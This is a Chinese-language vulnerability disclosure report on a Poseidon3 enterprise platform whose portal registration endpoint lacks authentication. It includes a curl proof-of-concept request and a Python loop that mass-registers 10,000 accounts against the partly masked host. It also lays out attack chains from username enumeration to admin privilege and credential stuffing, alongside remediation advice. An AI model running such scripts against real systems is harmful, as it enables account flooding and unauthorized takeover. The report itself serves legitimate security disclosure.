| 字段 | 内容 |
|---|---|
| 报告编号 | VULN-OMS-2026-001 |
| 漏洞等级 | 🔴 高危 |
| 漏洞类型 | 未授权访问 (Broken Access Control) |
| 目标系统 | example-poseidon3.*****.com (Poseidon3企业应用平台) |
| 发现日期 | 2026-07-07 |
| 影响服务 | po-server(门户服务) |
Poseidon3企业应用平台的用户注册接口 /portal/member/userRegister/registerSubmit 未配置任何身份认证机制,攻击者无需登录或获取任何凭证即可直接调用该接口注册任意用户账号。此外,注册流程中缺乏验证码、邮箱/手机号验证及管理员审批等防滥用机制,进一步放大了攻击面。该漏洞属于OWASP Top 10中 A01:2021 - Broken Access Control 类别。
POST https://example-poseidon3.*****.com/po-server/portal/member/userRegister/registerSubmit
在前端构建产物 pages.e7b00d27.js 中发现如下调用逻辑:
// pages.e7b00d27.js
poServer.post("/portal/member/userRegister/registerSubmit", params);
该接口由 po-server(门户服务)承载,该服务未被CAS SSO(eunomia-cas)保护,且未在应用层实现独立的认证校验逻辑。
| 功能 | 暴露内容 | 风险等级 |
|---|---|---|
| 用户注册(registerSubmit) | 可创建任意用户名账号,无需认证 | 🔴 极高 |
| 用户名检查(checkUserName) | 可枚举已注册用户名,辅助社工/撞库 | 🟠 高 |
| 防护措施 | 状态 |
|---|---|
| CAS SSO 认证保护 | ❌ 未启用 |
| 接口级别 Token/Session 校验 | ❌ 未实现 |
| 图形验证码/行为验证码 | ❌ 未配置 |
| 邮箱/手机号验证 | ❌ 未实现 |
| 注册频率限制 | ❌ 未实现 |
| 管理员审批流程 | ❌ 未实现 |
curl -sk -X POST \
"https://example-poseidon3.*****.com/po-server/portal/member/userRegister/registerSubmit" \
-H "Content-Type: application/json" \
-d '{
"userName": "testuser2026",
"userPwd": "Test@12345",
"confirmPwd": "Test@12345"
}'
攻击者可编写自动化脚本批量注册大量虚假用户:
import requests
import json
import urllib3
urllib3.disable_warnings()
url = "https://example-poseidon3.*****.com/po-server/portal/member/userRegister/registerSubmit"
for i in range(1, 10000):
username = f"user{i:05d}"
payload = {
"userName": username,
"userPwd": "P@ssw0rd2026",
"confirmPwd": "P@ssw0rd2026"
}
try:
resp = requests.post(url, json=payload, verify=False, timeout=10)
if resp.status_code == 200:
print(f"[+] 注册成功: {username}")
else:
print(f"[-] 注册失败: {username} -> {resp.status_code}")
except Exception as e:
print(f"[!] 请求异常: {username} -> {e}")
后果: 系统数据库中将产生大量垃圾账号,可用于后续的社工攻击或资源滥用。
1. 注册特殊名称账号(如 admin_backup、sysadmin_v2)
2. 利用后续子账号管理接口提升权限
3. 获得管理员级别的系统访问能力
1. 结合 checkUserName 接口枚举出系统中的有效用户名
2. 通过 registerSubmit 为已泄露密码的邮箱注册关联账号
3. 利用密码复用习惯,尝试撞库登录
4. 验证码未启用,可自动化大规模尝试
枚举用户名(checkUserName) → 注册新账号(registerSubmit) → 登录获取Session → 创建子账号(addSubCons) → 授予管理员权限(setAuth) → 完全控制系统
| 层级 | 问题 |
|---|---|
| 架构层 | po-server 未被CAS SSO保护(ECAS保护: ❌) |
| 代码层 | 接口方法未添加 @PreAuthorize 或 @Secured 注解 |
| 配置层 | Spring Security 的 intercept-url 规则未覆盖 /portal/member/userRegister/** |
| 流程层 | 注册流程缺少验证码、邮箱验证、管理员审批等防滥用机制 |
| 设计层 | 注册接口暴露在公共访问区域,未与认证子系统集成 |
| 维度 | 影响 |
|---|---|
| 机密性 | 🔵 低 — 不直接泄露数据 |
| 完整性 | 🔴 高 — 可篡改系统用户体系,注入恶意账号 |
| 可用性 | 🟡 中 — 批量注册可导致数据库膨胀,影响系统性能 |
| 业务影响 | 🔴 高 — 绕过正常用户注册审批流程,威胁平台账号安全 |
/portal/member/userRegister/registerSubmit 纳入认证保护范围,要求有效的登录Session或Token。admin、root、system、admin_backup 等)。报告日期: 2026-07-07